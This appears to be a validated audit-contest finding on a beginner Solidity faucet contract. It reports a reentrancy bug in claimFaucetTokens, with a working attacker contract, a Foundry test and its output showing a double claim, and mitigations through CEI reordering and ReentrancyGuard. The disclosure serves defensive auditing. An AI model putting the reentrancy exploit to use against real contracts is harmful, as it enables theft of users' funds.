Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy Attack Leads Loss of Funds

Reentrancy Attack RaiseBoxFaucet::claimFaucetTokens Leads to Loss of Funds

Description

The claimFaucetTokens function in the RaiseBoxFaucet contract is expected to be able to handle users to claim faucet tokens while providing Sepolia Eth for new users or first-time claimers.

Unfortunately, the function not fully following CEI (Check, Effect, Interact) pattern. Transfers tokens to the caller before updating the internal state, allowing an attacker to repeatedly call the function and drain the contract's token balance.

function claimFaucetTokens() external {
...
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
@> (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
}
...
}

Risk

Likelihood: High

  • Reason 1: The function is `external` and can be called by any user, including potential attackers to create malicious contract to exploit the reentrancy vulnerability.

  • Reason 2: The contract holds a significant amount of tokens and Sepolia Eth, making it an attractive target for attackers.

Impact: High

  • Impact 1: Attacker can exceed the intended per-claim amount (claim ~2x faucetDrip via reentrancy), unfairly receiving extra tokens and reducing availability for other users.

  • Impact 2: The contract may become unable to fulfill its intended purpose, affecting its reputation.

Proof of Concept

Below is a test case that demonstrates the reentrancy attack using a malicious contract.

function testReentrancyAttack() public {
Malicious attacker = new Malicious(raiseBoxFaucetContractAddress);
console.log("Attacker balance before attack:", raiseBoxFaucet.getBalance(address(attacker)));
console.log("Faucet contract balance before attack:", raiseBoxFaucet.getFaucetTotalSupply());
attacker.attack();
console.log("Attacker balance after attack:", raiseBoxFaucet.getBalance(address(attacker)));
console.log("Faucet contract balance after attack:", raiseBoxFaucet.getFaucetTotalSupply());
assertEq(
raiseBoxFaucet.getBalance(address(attacker)),
raiseBoxFaucet.faucetDrip() * 2
);
}
contract Malicious {
RaiseBoxFaucet raiseBoxFaucet;
constructor(address raiseBoxFaucetAddress) {
raiseBoxFaucet = RaiseBoxFaucet(payable(raiseBoxFaucetAddress));
}
function attack() public {
raiseBoxFaucet.claimFaucetTokens();
}
receive() external payable {
if (address(raiseBoxFaucet).balance >= 0.005 ether) {
raiseBoxFaucet.claimFaucetTokens();
}
}
}

Output:

Attacker balance before attack: 0
Faucet contract balance before attack: 1000000000000000000000000000
Attacker balance after attack: 2000000000000000000000
Faucet contract balance after attack: 999998000000000000000000000

Recommended Mitigation

You can implement one of the following:

  • Follow the Checks-Effects-Interactions (CEI) pattern correctly.

function claimFaucetTokens() external {
...
+ // Effects
+
+ /**
+ *
+ * @param lastFaucetDripDay tracks the last day a claim was made
+ * @notice resets the @param dailyClaimCount every 24 hours
+ */
+ if (block.timestamp > lastFaucetDripDay + 1 days) {
+ lastFaucetDripDay = block.timestamp;
+ dailyClaimCount = 0;
+ }
+
+ lastClaimTime[faucetClaimer] = block.timestamp;
+ dailyClaimCount++;
+
// drip sepolia eth to first time claimers if supply hasn't ran out or sepolia drip not paused**
// still checks
+ // Handle ETH drip state updates BEFORE sending ETH
+ bool shouldDripEth = false;
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
- // dailyClaimCount = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
- hasClaimedEth[faucetClaimer] = true;
- dailyDrips += sepEthAmountToDrip;
-
- (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
-
- if (success) {
- emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
- } else {
- revert RaiseBoxFaucet_EthTransferFailed();
- }
- } else {
- emit SepEthDripSkipped(
- faucetClaimer,
- address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
- );
+ hasClaimedEth[faucetClaimer] = true; // MOVED: Now updated BEFORE external call
+ dailyDrips += sepEthAmountToDrip; // MOVED: Now updated BEFORE external call
+ shouldDripEth = true; // NEW: Flag to trigger ETH transfer after state updates
}
} else {
dailyDrips = 0;
}
- /**
- *
- * @param lastFaucetDripDay tracks the last day a claim was made
- * @notice resets the @param dailyClaimCount every 24 hours
- */
- if (block.timestamp > lastFaucetDripDay + 1 days) {
- lastFaucetDripDay = block.timestamp;
- dailyClaimCount = 0;
- }
-
- // Effects
-
- lastClaimTime[faucetClaimer] = block.timestamp;
- dailyClaimCount++;
// Interactions
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
+ // Transfer ETH if applicable (now happens AFTER all state updates)
+ if (shouldDripEth) {
+ (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
+
+ if (success) {
+ emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
+ } else {
+ revert RaiseBoxFaucet_EthTransferFailed();
+ }
+ } else if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
+ emit SepEthDripSkipped(
+ faucetClaimer,
+ address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
+ );
+ }
...
}
  • Use Reentrancy Guards from OpenZeppelin

+ import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
- contract RaiseBoxFaucet is ERC20, Ownable {
+ contract RaiseBoxFaucet is ERC20, Ownable, ReentrancyGuard {
...
- function claimFaucetTokens() public {
+ function claimFaucetTokens() public nonReentrant {
Updates

Lead Judging Commences

inallhonesty Lead Judge 6 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.